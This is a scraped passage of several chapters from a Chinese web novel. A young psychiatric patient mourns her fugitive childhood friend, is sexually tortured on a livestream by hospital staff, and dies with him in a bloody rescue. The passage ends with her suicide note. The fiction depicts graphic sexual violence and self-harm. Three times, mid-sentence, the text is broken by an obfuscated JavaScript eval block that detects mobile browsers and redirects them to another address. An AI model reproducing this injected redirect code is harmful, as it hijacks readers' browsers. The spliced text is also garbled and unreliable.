她眼神空洞,望着头顶又脏又破旧的水泥。 她的世界,好像失去了所有的声音、所有的色彩。 命运的长河里,没有干净的河床,满藏淤泥,走一步陷一步,深深陷进去,从脚到腿,再到身体、脑袋。 她整个人都陷了进去,再无法从淤泥中探出头来。 黎明之前,不一定有曙光,也许是无尽的黑暗。 我的人生,完蛋了! * 驰路发现这次艾嘉回来得很快,但比以往任何一次的状态都要差。 她不再说话,面如死灰,眼睛无神,呆愣愣地坐着,眼睛一动也不动。 她刷牙、吃饭、吃药、放风,都像是例行公事,问她发生了什么,她也不说话,她像个毫无生机的木偶人。 驰路觉得可能她是被关傻了,让她别逃了,这里是牢笼,她们谁都逃不出去。 不说话的艾嘉,睡前写了日记,她望了望窗外,黑漆漆的,无雨无雪。 2016年2月6日暴雨 是哪位神明设下怜悯,又是哪位神明设下苦痛? 我这破碎的世界,注定开不了浪漫的解语花。 斜阳西落,萤火虫没有亮起,它们都熄灭了。 我是掉落在无垠时间里的循环小丑,再无法唱一首欢乐的歌。 我想甩掉脚上的镣铐,爬上命运的高墙,去抓住生命的流光。 世界却还我荒无人烟的沼泽地、深不见底的悬崖、漆黑无望的长夜。 我的梦想,成了摇摇欲坠的炊烟,被一阵大风刮过,慌忙流窜,遍寻不见。 我的信仰,成了秋日枯萎的芦苇,被一把大火烧尽,落入尘烟,再无明日。 从此,我的梦想打了烊,我的信仰不开张。 少年理应轻狂,玫瑰理应绽放,梦想和信仰理应举世无双。 我好想长大,长成永远不会被推倒的坚固城墙。 可我的山河破碎了,天空坍塌了,什么都没有了。 连同身体、灵魂,一并沉入深海。 这破败的人世,这苍白的呐喊,这来来去去的光与暗。 还能再掀开青春热烈的篇章吗? 还能有人带我去看一看明天的太阳吗? 我的青春词不达意,躲不过命运的淋漓。 来日若埋骨,请将我葬在那小小的山岗,黄土白骨,不见迷雾。 33. 迟哥,都怪我 艾嘉合上本子,封面是蓝色的,似有流动的海水。 她在右侧写下两个大字:深海。 翻到扉页,看着上面写着: 小嘉同学,活着,就像吃橙子,有时会吃到甜的,有时也会吃到酸的。 人生漫长,生活美好,你要保持热爱! 这一天所有的麻木都被激活,她曾是热爱生活的小姑娘,爱笑,爱身边的美好。 她把这两行字划掉,划了一道又一道,直到看不见了,才重新在空白处写。 深海里没有光,装满沸腾的绝望和无尽的绝唱。 我如蝼蚁,想过要前途无量,却跌跌撞撞、浑身是伤。 谁能给我光,谁能让我如愿以偿,谁能给我打造一座理想国? * 隔天,艾嘉时而是主人格,时而是甜蜜幻想人格,时而是警察人格,时而又是邻家哥哥人格,常常自言自语,已有疯癫之态。 她做什么,驰路都跟着,生怕她出什么事。 驰路依然会带她去休息室,让她坐在一旁看她打牌。 见她状态好些了,便叫艾嘉来玩几把。 艾嘉兴致不错,跟驰路结对,就算好牌被打成了烂牌,也玩得不亦乐乎。 在这场场打牌中,她忘了身体各处传来的疼痛,忘了霍盛源给她带来的伤害,也忘了爸爸、迟予辰不要她的现实。 她不过是独立的个体,她也可以主宰自己的喜怒哀乐。 不管经历过怎样的伤痛,还是要试着让自己快乐一点。 到艾嘉出牌了,她想着是要出对子,还是顺子,忽然听到有人在议论:“还没抓到这男的啊,都多长时间了。” “是啊,据说当时把人都快打残了,是个狠人。” “看起来还挺帅挺好的小伙儿,不像坏人。” “人嘛,不可貌相。” 驰路朝那帮议论的人看去,看到她们正坐在另一边看电视,电视里正播着新闻。 这些新闻,她从来不爱看,她不关心。 她看着屏幕上的男生时,主播播道:“某迟姓男子故意伤人后,逃跑已四月有余,警方正在全力通缉中,谁有线索,可打举报电话。” 屏幕最下方跳出一行小字,是举报电话。 这男生虽然被打了马赛克,但能辨出是十七八岁的模样,个头高,皮肤白。 驰路本来也没有多想,但看到艾嘉手里的牌一张一张地往下掉,猛然间觉得不对劲。 “艾嘉,我们走!”驰路立刻站起来,走到艾嘉身边,抓住她的手,想拉她走,却发现她一动不动地坐着,眼睛死死地盯着屏幕。 半晌,驰路听到艾嘉说:“迟哥。” 起初,艾嘉格外淡定,淡定得像木偶人。 驰路拉她,她不走。 驰路跟她说话,她恍若未闻。 “不,不可能!”艾嘉开始自言自语,重复着,声音越来越大。 她疯了一样往前冲,望着已经播下一则新闻的屏幕,从一旁打麻将的桌上,胡乱抓起一把麻将,一块一块地往屏幕上砸,边砸边吼:“不可能!不可能!” 驰路想拦住她,发现瘦弱的她,此刻力气竟然那么大,根本无法阻止她。 这时,护士来了,两个女护士架着她往外走,她用力地把护士推倒,继续砸着电视屏幕。 来了两个男护士,架着她、拖着她往外走,艾嘉使劲地瞪着腿:“放开我,你们放开我!” 她的眼睛还死死地盯着电视屏幕,眼里的震惊、不相信变成了泪花。 她的迟哥故意伤人,逃跑了?警方正在全力通缉? 她的迟哥,成了通缉犯? 艾嘉扯起嘴角,笑了,眼里的泪花啪地一下掉落,落在她干裂的嘴唇上。 如果不是她,她的迟哥,会成为通缉犯吗? 谁都不是生来就背负原罪,但她现在是有罪的人了。 都说世事荒唐,她没想过要把青春过得肆意飞扬,但总不至于落得如此下场。 这晚,艾嘉写了一篇日记,窗外有呼呼的冷风,透过窗户的缝隙,一点点钻进来。 呼呼的冷风吹到她身上,像下了一场暴风雪。 2016年2月7日暴风雪 如果时光倒流,我不愿做你的青梅,就让我做一只鸟吧。 就算不会说话、不会笑,却能在天空自由翱翔。 如果有十字架,就放到我背上,我愿意一辈子扛着它前行。 就算很重,走得艰难,我也要一步一步地走下去。 迟哥,怪我,都怪我…… 你现在在哪里? 我想你,很想你! 良久,艾嘉在最下面,写了小小的一行字: 迟哥,偷偷地告诉你: 其实,我才不愿意做什么鸟,我还想做迟哥的青梅,永远的青梅! * 艾嘉没事还躲在病房里,哪里都不去,精神状态变得更差,脸色格外苍白。 她翻到日记本后面的空白页,一张一张地撕下来,叠了一只又一只千纸鹤。 什么时候,才能集齐一千只千纸鹤呢? 什么时候,我才能得到幸福呢? * 中午吃饭时,驰路往艾嘉的碗里夹了一块肉丁:“艾嘉,多吃点,你太瘦了。” “谢谢!”艾嘉嚼着肉丁,想起了千雪,那个爱笑的女孩,有肉吃也会想起她,会给她带炸鸡柳、橙汁。 可惜,她不在了。 再也无法过来看她了。 再也无法陪在她身边了。 “艾嘉,你知道明天是什么节日吗?”驰路那双狐狸眼里含着笑。 “什么节日?”对艾嘉来说,现在什么节日,都跟她没关系了。 她不再期待爸爸、迟哥给她打电话了。 他们的电话,她也不想打了,就算打,应该再也打不通了。 驰路指着右上方:“看到了吗。” 艾嘉抬头看,靠墙的一侧,挂了一只只大红灯笼,墙上还贴了倒“福”,好喜庆。 她自己都没意识到,她的嘴角竟然微微上扬,眼底浮上一抹笑:“这是要过年了吗?” “是啊,今天是除夕,听说晚上会有好吃的,下午我们会一起包馄饨。”驰路在这里过除夕,心里特别不是滋味,但在艾嘉面前,尽量表露出喜悦。 “除夕啊,我妈妈会做肉丸子,放锅里炸一炸,很香。”艾嘉想念妈妈做的油炸肉丸了。 “艾嘉,你知道这周日是什么节日吗?” “这周日……”艾嘉沉思片刻,“2月14日,情人节。” “是啊。”驰路耸耸肩,“不过,跟我们都无关。” 情人节?艾嘉不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137326|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦笑。 她想起了,站在樱花树下的霍盛源,那个她曾以为只要足够靠近就能够得着的男神,结果不过是衣冠禽兽。 她想起了,圣诞节的甜橙糖果上写着的CLJ,想起了,城堡水晶球底座上刻着的CLJ。 迟哥,CLJ是什么意思? 你什么时候才能揭秘? 迟哥,情人节,你会怎么度过? …… 除夕的晚餐,比平时的白粥、咸菜套餐要丰盛得多。 餐厅里的桌椅都拼了起来,满满一桌子菜,荤素、汤都有,大家围坐在一起,看春晚。 到了小品节目,一群病号们笑得忘乎所以。 只有艾嘉没有笑,她吃着鸡肉、猪肉、肉丸,明明比平时的菜好吃百倍,她却觉得没有一点滋味。 外婆、妈妈,你们在天堂会吃什么? 爸爸,你跟那个未婚妻结婚了吗? 迟哥,你在外面到处躲躲藏藏吗? 她匆匆吃完,去了病房,拿出笔,在手腕上画着什么。 “艾嘉,你在画什么?”跟过来的驰路凑上前去看。 艾嘉也没躲,任由她看。 驰路看到她手腕上的勒痕,不知道是不是她深夜里自/nue留下来的,一道道淤青。 她画了一条手链,在腕心的中间画了一个吊坠,圆形水果,上面还画了两片大小不一的叶子。 “艾嘉,你想要的新年礼物,是手链?” “这是甜橙手链。”艾嘉无神的眼睛里散发出光芒,“迟哥在我十七岁生日那天送给我的。他说,戴了这条甜橙手链,你一辈子都会拥有好运。” 驰路从她眼里看到了鲜有的光,她的嘴角也上扬着,像沉浸在甜蜜中的小女生。 “好看。”驰路望着那条画得一般的手链。 不过,这手链在她那满是淤青勒痕的手腕上,有种破碎的美感。 “如果有金笔就好了。”艾嘉放下笔,用右手抚摸着左手腕上的手链,从左抚到右,再从腕底,从左抚到右,她抚过每一寸。 每一寸上面,似乎都有她迟哥的温度。 她想起了在海边迟予辰给她戴甜橙手链时的画面,他的指腹那么温暖,帮她戴手链时那么细心。 什么时候,她的迟哥,还能给她再戴一次甜橙手链,再跟她说一回:“小嘉同学,戴了这条甜橙手链,你一辈子都会拥有好运。” 艾嘉把左手放到脖颈间,一遍遍摩挲着。 就让手腕间迟哥的温度流到她脖颈上,再流到她心脏上。 让每根血管里都奔涌着迟哥的温度。 她以为沼泽地里,只剩下她独自喁喁独行,一生了无牵挂。 可她尘缘未了,灵魂未归,期待着一场旷日持久的久别重逢。 她想念那个春天,想念那个站在樱花树下的少年。 他站在树下,眼睛清澈明亮,笑起来玩世不恭,朝她用力挥手,喊她“小嘉同学”。 她不要什么满园的春天,也不要什么满树的樱花,她只要那个少年,唇红齿白的少年。 她渴望,在漫长岁月里,低头捡到星星,抬头看到太阳。 她的星星,她的太阳,不在远方,不在天边,在她身边,在她手腕上,在她心上。 她的迟哥,是世间万物,一直都在,一直都活在她的生命里。 34. 谁在点仙女棒 艾嘉看了看墙上的钟,九点半,还有两个半小时就是新的一年了。 新的一年,她要好好治病,全力配合医生,好好吃饭,不要再这么瘦了。 她要早点出院,找一家文身店,在左手腕上文一条甜橙项链。 都说文了身就洗不掉了,洗不掉,多好啊! 那样,她就可以一直戴着那条甜橙项链,不管去哪里,都不会忘记戴或者弄丢。 她要早点出院,不管她的迟哥躲在哪里,她都要把他找出来。 她妈妈从小就教育她,犯了错能改正,就是好孩子。 她希望她的迟哥可以当好孩子。 不管他被判几年,她都会等他。 如果等他出来,没人要他了,她会要他。 她会做他一辈子的“小嘉同学”。 如果他不嫌她脏的话。 …… 除夕夜,跟往常唯一不一样的是,允许病人自由选择是否看春晚。 艾嘉病房里三个人去看春晚了,剩下三个人——她、驰路、杨雨菲。 杨雨菲缩在被窝里睡觉,驰路刚睡下。 艾嘉睡不着,站在窗前,抬头望着窗外柔和的月亮。 她想起了往年除夕,她的迟哥拉着她下楼,跟别的小孩一起玩摔炮,“啪”地一声落地,响声震耳欲聋。 起初她还不习惯,不想跟他们一起玩,后来融入其中,玩得不亦乐乎。 上初中后,迟予辰不玩摔炮了,她问迟哥为什么,他说“幼稚”。 从此,不幼稚的迟哥开始跟她一起玩仙女棒,说仙女棒多好看。 她想起了元旦时,在窗前放的那三只仙女棒,虽然那是一场美好的幻觉,但她宁愿相信是真的。 她想起了十七岁那年,在她被霍盛源无情jian踏的那段时间里,她的迟哥送她解语花,陪她演《罗密欧与朱丽叶》,想起了他在她的朋友圈发的诗一样的评论: 我来到莎士比亚的王国 喜欢做尽情绽放的花朵 欢迎你来到浪漫的国度 你要不要摘下青涩秘果 后来,她来到这里,把这首诗念了一遍又一遍,终于明白,这是一首藏头诗。 每个首字连读起来是:我喜欢你! 艾嘉不禁苦笑,为什么当时的自己那么笨,没有发现呢? 不过,就算发现了,又能怎样? 迟哥啊,你确实是一颗青涩秘果。 你要是成熟的话,不值得为我这样的人辜负父母、毁掉前程。 艾嘉轻手轻脚地走到窗前,拉开抽屉,从一堆皱巴巴的千纸鹤里拿出了日记本。 借着今晚难得的皎洁月光,她在新的一页开始写。 2016年2月7日晴天 他们说,伊甸园里的禁果不要偷吃,要不然会被斩首。 我偏要摘一颗尝尝,结果,多可笑,没尝一口,却被斩首。 不,我受到了比斩首更可怕的惩罚——身体与灵魂布满淤泥。 我没有分身,身体无法洗净,灵魂无法分离。 翻越青春之海,也无法寻到自由的踪迹。 我不过是想去莎士比亚的王国,做静静绽放的解语花。 哪怕得到一点浪漫也可以,毕竟月亮和玫瑰不可兼得。 罗密欧和朱丽叶的旷世爱情不属于我,但他们的悲剧属于我。 荒芜生生不息,天空终于沉寂,而我始终逃不了命运的掌心。 时光无法倒退,人生无法重来,淤泥变不了星星,星星也无法下凡。 你是白天,我是黑夜。迟哥,我们还能不能相逢于这人世间? 都说人生苦短,迟哥,在这苦短的人生里,你还能做我的光吗? 我无法再走向我的理想国,我只能走向幻想尽头,多希望尽头是你! 雨果说过“人有两次生命,一次是出生,一次是恋爱”。 这样看来,我也算幸福过的人。 窗台的解语花快要开了吧。 迟哥,以后,你愿意跟我一起看盛开的解语花吗? 迟哥,你快来吧,快带我走吧,带我去逃亡也行。 天大地大,总会有我们藏身的地方。 新的一年,希望迟哥,回到该去的地方,在新的地方,一直幸福。 新的一年,希望自己,能找回孩子般的快乐,一直无忧无虑地生活。 黑夜总是灯影幢幢,而我们,一定可以再次见到光! 是不是啊,迟哥? 艾嘉写完,在最下面画了两个简笔画小人,两个人手上拿着仙女棒,炸开了烟花,他们头顶到处都是烟花。 他们是幸福的小人。 她合上日记本,抱在怀里,好像抱着幸福,脸上露出难得的笑容。 艾嘉听到有人在欢呼着说“新年好”“新年快乐”,看到窗外很远很远的地方隐约炸开的烟花。 她看到窗边的仙女棒,先是5,再是2,最后是0,每根仙女棒上都炸开簇簇耀眼的烟花,多炫目啊! 是谁在放? 又是她的一场幻觉吧。 有时候,她觉得做个病人也挺好,幻想着美好的一切,都属于自己。 今夜月光如此皎洁,明日黎明前的曙光一定足够炫目吧。 艾嘉冲出病房,她要去看一看,自己看到的是幻觉,还是真实。 这次,她跑得比任何一次都快,不顾值班护士的阻拦,冲出了医院大门。 疾驰跑到她病房外的窗外,看到窗前的地上掉了三只仙女棒,分别是“5”“2”“0”的形状。 是真,抑或是假? 艾嘉从地上捡起来,用指腹去摸那燃尽后的黑色,温热的,甚至有点烫,是刚燃后的热度。 是真的! 是谁在点燃仙女棒? 艾嘉奋不顾身地往前跑,后面的护士们追着她,她跑得更快了。 耳边呼啸的寒风刮着她的脸,生疼生疼的,她也不顾。 跑到拐角,艾嘉看到一抹橙色,上衣是橙色、裤子也是橙色,好像光明使者。 是光明使者给她点燃的仙女棒? 他个子高,瘦瘦的,跑起来那么有力气,比她跑得快。 “是你吗?是你吗?是你吗……”艾嘉一遍遍地喊着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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禽兽没有放开她,越发变本加厉。 这世上,吃人的不一定是猛兽,有可能是人,还是离你很近的身边人。 艾嘉像块破抹布,被人无情rou躏,她毫无反抗的能力,丧失了所有挣扎的力气。 她感到shen/下流出一股热流,越流越多,越流越多,小腹也越来越疼、越来越疼。 但她没吭一声。 艾嘉不让脸对着镜头,他想拍她,她偏要扭头,他就打她的脸,她又扭头,他就再打,她就再扭头…… 这是她最后的倔强。 “单大人,你再狠点!弹幕里打赏的人比之前都要多,他们说看得可带劲儿了。”狗面具男人激动道,“新的一年,开了个好头啊!” 这波践踏只是开始,艾嘉看到单大人拿着烤红的烙铁,特意放到她眼前时,麻木的脸上才终于有了丝惊恐。 这个禽兽,要对她做什么? 35. 迟哥终于来了 她还想好好活着,完整地活着,没有留疤痕地活着,虽然她的身上已到处都是留下的淤痕。 单大人正要往她身体隐/mi处放烙铁时,艾嘉感到了前所未有的绝望和无助。 “要开始了,大家看好了!”狗面具男语气里充满兴奋。 艾嘉不再做无谓的挣扎,心如死灰地闭上了眼。 她感到那股炙热离自己越来越近、越来越近…… 她要坏了,彻底要坏了…… 她的天塌了,地也要崩裂了。 她赤手空拳来到这个世界,从没想过有一天,这些遭遇会发生在自己身上。 为什么会这样? 为什么这些事会发生在我身上? 她想了很久,却无从寻得因果。 就在烙铁要贴近她皮肤的那刻,艾嘉听到了一声剧烈的惨叫,是单大人的声音。 艾嘉猛然睁眼,看到了一把剪刀插在了单大人的咽喉,站在他身后的是一个穿着橙色工作服的男人。 戴一顶橙色帽子,浓眉,单眼皮,八字胡,面庞黝黑,眼神凌厉如刀片。 她定定地望着他,看清了他的眼睛,是那般熟悉,是她看多少次都不会忘记的眼睛,是她看了十八年的眼睛。 是迟予辰! 是她的迟哥! 她的迟哥,终于来了! “迟哥……”艾嘉低低地喊他,可是她的声音小得别人根本听不见。 迟予辰快速地帮她解开了手脚上的镣铐,她从床上艰难地爬下来。 迟予辰给她裹上她的羽绒服,抓起她的衣服,拽起她的手就想往外面跑。 谁都没预料到这场意外,狐狸面具男惊愕后,拿起一根长棍追迟予辰,往他脑袋上狠狠砸去,再落到他身上、腿上。 “别打了,别打了!”艾嘉苦苦哀求,但棍棒还继续狠狠地无情地砸在迟予辰身上。 “迟哥,迟哥……” 艾嘉一遍遍地喊着迟予辰,喊得嗓子都哑了、疼了,却还在一遍遍喊着。 这是她的迟哥,最疼她的迟哥,他不能被人这样对待! 艾嘉拿起一旁的利器,戳进了狐狸面具男的脖子上,鲜血喷jian她一脸。 随之,她的羽绒服被人扯开,背上也遭来了剧烈的疼痛,那是利刃进来又出去、出去又进来导致的。 艾嘉挺直的脊背终于被压弯了,她无力地倒下去,望着躺在离她不远处的迟予辰。 她的背好疼好疼,疼意几乎遍布四肢百骸,可她完全不在意。 艾嘉伸出满是血的右手,嘴角艰难地扬起,露出笑意,望着迟予辰。 她好想去碰一碰她的迟哥,去看看,这是幻觉,还是真的。 迟予辰双手费力地往前爬,朝她这边一下一下地爬着。 他的嘴里溢出血,越来越多,流了一地,宛若绽放一路的花儿。 迟予辰伸出右手,也想去碰艾嘉的手。 他那双原本如刀子般的眼神,此刻格外温柔,眼里含笑,用低微又破碎的声音说:“小嘉同学……” 迟予辰还想往前爬,可他刚才已经用尽了全部力气。 他爬不动了,实在爬不动了。 艾嘉忍痛往前爬,每爬一下,背上的刺痛感便加重一分。 她爬得很慢,蜗牛般,艰难挪动。 艾嘉拼命地想去够迟予辰的手,可是够不着,她着急起来,心口紧紧揪起,鼻子泛酸。 还差一点,还差一点就要够到迟哥的手指了。 她多想再碰一碰她的迟哥,哪怕一下也好。 迟予辰还在说着什么,但声音很低很低,已经听不清了。 艾嘉看着他的口型,他好像在说:“小嘉同学……” 还在说着什么,她已辨不出。 艾嘉抬起沾满血的手指,颤颤巍巍地往前伸去。 然而,她再怎么努力,却怎么也碰不到他的指尖。 要是手指长点就好了,就能碰到她的迟哥了。 咫尺之间,却仿若隔着万水千山。 像是她永生永世再也无法超越的距离。 艾嘉的心口越来越疼,眼眶通红,红得像要滴血。 眼睛里已蓄满泪水,哑着声音说:“迟哥,对不起……” 她看到迟予辰的额头上不停往下滴的血,滴到了他长睫上、眼睛里、鼻尖,还有他那好看的嘴唇上。 血不停流着,他像个血人。 她看到迟予辰想使劲睁眼,张着嘴巴,还想跟她说什么。 然而,他不但没睁眼,反而渐渐没了力气,眼睛像粘了502胶,慢慢黏上了。 他的嘴巴也闭上了。 他不说话了。 微弱得仿佛一缕烟,很快就要消弭。 他的手仍保持着朝她伸来的姿势。 艾嘉想起了一些事,那些事,如同电影画面,一帧一帧地从她眼前掠过。 那个站在樱花树下的少年,笑得玩世不恭,朝她用力挥手,喊她“小嘉同学”。 圣诞节,他送的甜橙糖果,上面写着一行不易察觉的小字:XJTX,要不要把迟哥挂你心上? 他带她去海边,她迎风呼喊,喊着喊着就哭了,他说:“小嘉同学,不哭了啊,掉一滴眼泪就是掉一颗水晶,你这是掉了多少水晶了,家财还是不要外露的好。” 十八岁生日那天,他送她一条甜橙手链,帮她戴上:“听说,戴了这款甜橙系列的手链,一辈子都会拥有好运。” 他去B大那天,他几次都倒着走回来,最后一次倒着回来看她,笑着跟她挥手:“小嘉同学,迟哥会想你!你也要记得想迟哥!” 国庆节,他回去看她,问她:“你希望迟哥走吗?你要是不希望迟哥走,迟哥就留下来。” 他跟她并肩坐在高墙上,跟她说:“你永远是我的小嘉同学,我会一直陪着你,陪你走过晴天,也陪你走过雨天,直到……我生命熄灭的那天。” 新年伊始,在她的病房窗外,点燃的三支分别是“5”“2”“0”形状的仙女棒。 她抽屉里,偷偷藏匿的三十七只千纸鹤和城堡水晶球。 可是,为什么她的迟哥,现在却再也不玩世不恭?为什么再不跟她说说话? 为什么他一动不动?仿佛失去了所有的生命力。 他是黑暗里的光,光芒骤然熄灭了。 她的脊骨,瞬间像被人重重打断。 血液也仿佛顷刻间,停止了流动。 艾嘉痛苦地发出“啊”的怒吼,凄惨又悲凉,像失去了至亲的困兽。 她的脑袋越来越昏沉,看到迟予辰的右手腕上晃着金色的光,是一条金色项链。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15149688|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费力地伸出左手,手腕上是用黑笔画的甜橙项链。 迟哥,你什么时候戴的这条项链? 跟我的这条,算一对吗? 艾嘉的眼角滑落一行泪水,又滑过一行泪水。 她的左脸湿润了,她的右脸也湿润了。 渐渐地,她像个雨人。 她感觉眼前越来越模糊,又好像越来越清晰,清晰地看到遥远的小山岗上外婆和妈妈的坟墓。 正值寒冬,外婆、妈妈,你们在那里冷吧,我该去给你们的墓地添点土了,这样你们才不冷。 迟哥,你怎么不等等我? 迟哥,你走慢点,我现在要去找你了! 迟哥,我们可以一起在天堂看解语花了! 在天堂,我们都要像个孩子一样,无忧无虑地生活。 要美梦成真,要星光万里,要万事如意,要越过漫长的冬季! 迟哥,我们一起去敲碎宿命,一起去奔赴黎明吧! …… 沉睡公主,要永远沉睡了。 原来,她的城堡里,不只有她一个人,也有守护她的骑士。 她贫瘠的生命里,最终盛开了莎士比亚的玫瑰花。 这世上所有的光和太阳,都是她的迟哥。 迟哥,你是我的光,是我的救赎,是一切美好的具象化。 迟哥,你让我在旷野里自由歌唱,让我的骨骼开出鲜花。 迟哥,这辈子,我找不到栖息地了。 但我找到理想国了,国度的主人是你。 这是沉睡公主的秘密。 我所有的信仰,都装在理想国里,朝着太阳的方向生长。 从此,我的人生长河不再肮脏,我的青春不再混乱无章,我的命运终将滚烫。 …… 他做了她的骑士,却再也唤不醒他的公主。 他的公主,从此,长眠不醒。 * 春节伊始,驰路没有见到艾嘉,问医生、问护士、问赵阿姨,她去了哪里,没人告诉她。 艾嘉凭空消失了,驰路很慌,心生不详预感。 驰路看着艾嘉那张空荡荡的床,心里有块地方陷落了。 …… 中午,来了一群警察,驰路透过铁丝网围住的窗户,看到有人抬着四具尸体,都蒙着白布。 她看到有很多病人都围了上去,她外套都没来得及穿,冲出了病房,跑到了围观人群那儿。 警察维持着秩序,让病人们让一让,但病人们不走,都是一副看热闹的样子。 白布下面是谁? “听说死的是单院长、李医生,还有……” “还有那个神经病啊,叫什么的……” “艾嘉。” “对,就是她!” “那还有一个是谁?” “还有一个就不清楚了,说是一名逃犯。” …… 众人议论纷纷,全是看客。 驰路手脚发僵,怔怔地望着其中最瘦弱的那个身体,干瘪得几乎快看不出人形。 她知道,那是她隔壁床的姑娘——艾嘉。 生死不过一场戏,戏终究要落幕。 这幕戏落幕了,以后便再无人问津。 人世苍凉,谁也无法成为谁的信仰,唯有自己能成为自己的勋章! 36. 遗书【正文完】 护士要把艾嘉所有的东西都收走,包括她抽屉里的千纸鹤、日记本,还有那已经不亮了的城堡水晶球。 驰路挡在柜子前,气势凌人:“这些东西,是艾嘉留给我的。谁也不许动!” 艾嘉怎么可能留给她? 这位艾嘉姑娘有时会虐待自己,有时会惶恐地呆呆地坐在床上,有时眼睛空洞茫然得不像活物,有时像一株毫无生机的植物。 但更多时候,她是幻想家艾嘉,幻想着她是幸福的,拥有美好爱情。 即便那个幻想里的主人公是她所有祸端的源头。 她是警察艾嘉,是维护世界和平的正义英雄,哪儿乱,她就去哪儿。 她是邻家哥哥艾嘉,守护着世界上所有善良的女孩,她们难受了,她就陪着她们。 她还是她自己,是那个遍体鳞伤、活在淤泥里,却还想抓住光的艾嘉。 在医院的这段时间里,她哭过、笑过、闹过、疯过,可她从来没想过死。 她是一株植物,大多数时候,是一株坚韧的仙人掌,你不给她浇水,不给她阳光,她也能好好活下去的仙人掌! 她有好好地跟这个世界的黑暗对抗,也有好好地想要抓住阳光。 可是,有谁在意这些?有谁关心这无数病人里的其中一个? 不要去指望这世界能一直给你光,没有光的时候,就自己去探寻。 艾嘉,你探寻到你的光了吗? 驰路用这样一个谎言,护住了艾嘉生前最在意的三样东西。 护士要没收水晶球,说是玻璃的,不安全。 驰路振振有词:“我来医院快三个月了,你们有谁觉得我有病,我有自can,还是有轻生倾向?” 护士顿时哑口无言。 谁都知道,这个医院里,驰路太像一个正常人了,甚至比她们还要正常,她们不明白,她的家人为什么要把她送来这里。 驰路把那些破损的千纸鹤想要放进抽屉,发现有一处露出一个字母,她心生好奇,拆开千纸鹤,看到上面写着:CLJ。 她霎时愣住。 她又拆开第二只千纸鹤,再拆开第三只千纸鹤,一共三十七只千纸鹤。 她全部拆开,每一张上面都写着:CLJ。 驰路把这些打开的千纸鹤一股脑儿地都抱在怀里,望着窗外惨白的天,忽然笑了,又忽然哭了。 以后,再不会有人来送千纸鹤了! 艾嘉,你在天上,还会继续收到千纸鹤吧? 艾嘉,你知道吗,你的迟哥,从来没有忘记你! 你的迟哥,是暗恋使者,写下一句句喜欢你的伏笔! 谁说荆棘里不能开花,谁说陷入沼泽地里不能脱险。 义无反顾地朝前奔跑,荆棘里能开花,陷入沼泽地也能脱险。 所有的奔腾不息,刻进骨骼里,燃烧出一次又一次的春和景明! * 经警方深入调查,查出“善安”精神病院,其实是雇佣了一帮不专业的医生,明里是衣冠楚楚的医生,暗地里是跨国传播yin/秽、se/情组织。 凌ru对象是医院里精神状态差的女病人,建立各个级别的直播间,尺度不同,费用不一。 不到一个月,“善安”精神病院被关闭,相关涉案人员被捕。 * 驰路出院后,想去找艾嘉的爸爸,归还她的遗物,却发现有一张纸从日记本里掉了出来。 她从地上捡了起来,纸皱巴巴的,是从日记本上撕下来的,两张,写得密密麻麻、满满当当。 驰路本来不想窥探别人的秘密,目光却盯在第一行挪不开。 上面写着:遗书。 遗书 致迟予辰: 迟哥,假如你知道,我已经离开这个世界,千万不要哭。 因为你说过,掉一滴眼泪就是掉一颗水晶,家财还是不要外露的好。 你的家财一定不要外露哦!如果被我知道了,就算我去了天上,也不会饶了你! 你还记得,十岁那年,我们一起去动物园吗,我问你,我最像哪个动物,你说那里没有。我问你,哪里才有。你说,北京的动物园才有。我问你,那是什么动物。你说,熊猫。 你老喜欢逗我,老喜欢抢我的东西,但你一直把我当熊猫,有谁欺负我,你总会第一个出现,挡在我面前。 尤其是小学六年级那次,有些人在背后说我天天顶着“胸器”上学。你把说我的人揍了一顿,还跟他们说:“这是女生成长的标志,不是你们取笑的谈资!” 你在我身边待了十八年,不,今年是第十九年了。 我之前一直没觉得什么,直到千雪非常羡慕地跟我说:“艾嘉,我也好想要一个像迟予辰那样的竹马啊!” 我问她为什么,她说:“因为,不管你想做什么,他都支持!他还天天跟你一起上学、放学,就像……守护你的骑士。” 大概每个人都常常忽略身边的美好吧,当时千雪这样说的时候,我没觉得有什么。 我俩天天上学、放学,你守护我,不是天经地义的事吗。 但后来,我发现,这世上没有所谓的天经地义,也没有所谓的谁一定要守护谁。 你不该是我的天经地义,你该是我要珍惜的晚樱。 你知道的,我之前有什么心事都会跟你说,什么作业好多、这道题好难、谁谁谁又欺负我了、谁谁给我写情书了,我老是跟你说这些有的没的。 你好像从来都没有烦过,每次都会很认真地听我说。 我遇到烦恼了,也会待在我身边,好好跟我分析,为什么会这样,我以后要怎么做。 在你不知道霍盛源怎么对我之前,我真的真的很想告诉你,可是,我又不敢。 我好害怕,当你知道,我成了那么脏、那么脏的一个人后,会怎么看我,别人会怎么看我。 你说,我是不是个懦弱的胆小鬼? 可是,女生的清白,真的很重要啊。我的清白都没有了,一次次被践踏了,他们都会取笑我吧。 